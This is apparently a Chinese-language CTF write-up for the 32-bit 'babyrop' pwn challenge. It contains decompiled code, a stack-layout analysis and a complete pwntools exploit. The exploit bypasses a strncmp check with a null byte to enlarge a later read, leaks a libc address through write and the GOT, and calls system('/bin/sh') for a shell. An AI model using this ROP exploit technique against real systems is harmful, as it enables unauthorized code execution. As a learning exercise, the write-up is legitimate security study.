Arch: i386-32-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
./babyrop: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter
/lib/ld-, for GNU/Linux 2.6.32, BuildID[sha1]=6503b3ef34c8d55c8d3e861fb4de2110d0f9f8e2, stripped
直接让输入字符串~
ssize_t __cdecl sub_80487D0(char a1)
{
ssize_t result; // eax
char buf; // [esp+11h] [ebp-E7h] 231
if ( a1 == 127 )
result = read(0, &buf, 0xC8u); // 200
else
result = read(0, &buf, a1); // a1 可以控制
return result;
}
这个漏洞点,我可以看了好久,自己也没遇见过,下次长记性了,这是利用返回数字去扩大了栈的输入字节数。
int __cdecl main()
{
int buf; // [esp+4h] [ebp-14h]
char v2; // [esp+Bh] [ebp-Dh]
int fd; // [esp+Ch] [ebp-Ch]
sub_80486BB();
fd = open("/dev/urandom", 0);
if ( fd > 0 )
read(fd, &buf, 4u);
v2 = sub_804871F(buf);
sub_80487D0(v2);
return 0;
}
int __cdecl sub_804871F(int a1)
{
size_t v1; // eax
char s; // [esp+Ch] [ebp-4Ch]
char buf[7]; // [esp+2Ch] [ebp-2Ch] 44
unsigned __int8 v5; // [esp+33h] [ebp-25h]
ssize_t v6; // [esp+4Ch] [ebp-Ch]
memset(&s, 0, 0x20u);
memset(buf, 0, 0x20u);
sprintf(&s, "%ld", a1);
v6 = read(0, buf, 0x20u); // 32
buf[v6 - 1] = 0;
v1 = strlen(buf);
if ( strncmp(buf, &s, v1) )
exit(0);
write(1, "Correct\n", 8u);
return v5; #这里的v5就是a1 这里return后 将返回值赋值给了下一个函数
}
现在需要确定的就是我们是否可以将v5覆盖成一个比较大的数字
-0000002D db ? ; undefined
-0000002C buf db ? | #数据是从上面往下面传入的
-0000002B db ? ; undefined |
-0000002A db ? ; undefined |
-00000029 db ? ; undefined |
-00000028 db ? ; undefined <-------
-00000027 db ? ; undefined
-00000026 db ? ; undefined
-00000025 var_25 db ? #v5
-00000024 db ? ; undefined
-00000023 db ? ; undefined
-00000022 db ? ; undefined
-00000021 db ? ; undefined
-00000020 db ? ; undefined
-0000001F db ? ; undefined
往栈里面压入的顺序 如下
size #大小
buf #buf的位置
1 #文件描述符
@PLT
脚本中有onegadget 也有systen("/bin/sh"),分开去看
#!/usr/bin/env python
#coding=utf8
from pwn import*
context.log_level = 'debug'
context.terminal =['gnome-terminal','-x','bash','-c']
p = process("./babyrop.babyrop")
libc = ELF("libc.so.6")
libc = ELF("libc-2.23.so")
elf = ELF("./babyrop.babyrop")
libc_base = 0xf7e05000
one_gadget_offset = 0x3a80e
gadget_addr = libc_base + one_gadget_offset
print("[+]---->gadget_addr = ") + hex(gadget_addr)
#gdb.attach(p,"b* "+ "0x804871F")
payload = "\x00"*7 + "\xff" #
p.sendline(payload)
payload1 = "A"*0Xe7 + "B"*4 + p32(elf.plt['write'])+p32(0x80487D0)+p32(1)+p32(elf.got['alarm'])+p32(4)
p.recvline("Correct\n")
#gdb.attach(p)
p.sendline(payload1)
write_addr = u32(p.recv(4))
libc_base = write_addr - libc.symbols['alarm']
system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + libc.search('/bin/sh').next()
print ("[+]---->write_addr = ") +hex(write_addr)
print ("[+]---->libc_base = ") +hex(libc_base)
print ("[+]---->system_addr = ") +hex(system_addr)
print ("[+]---->bin_sh_addr = ") +hex(bin_sh_addr)
print ("[+]---->write_plt = ") +hex(elf.plt['write'])
print ("[+]---->write_got = ") +hex(elf.got['write'])
#p.recv()
#gdb.attach(p)
payload2 = "A"*0Xe7 + "B"*4 + p32(system_addr)+p32(0)+p32(bin_sh_addr)
p.sendline(payload2)
p.interactive()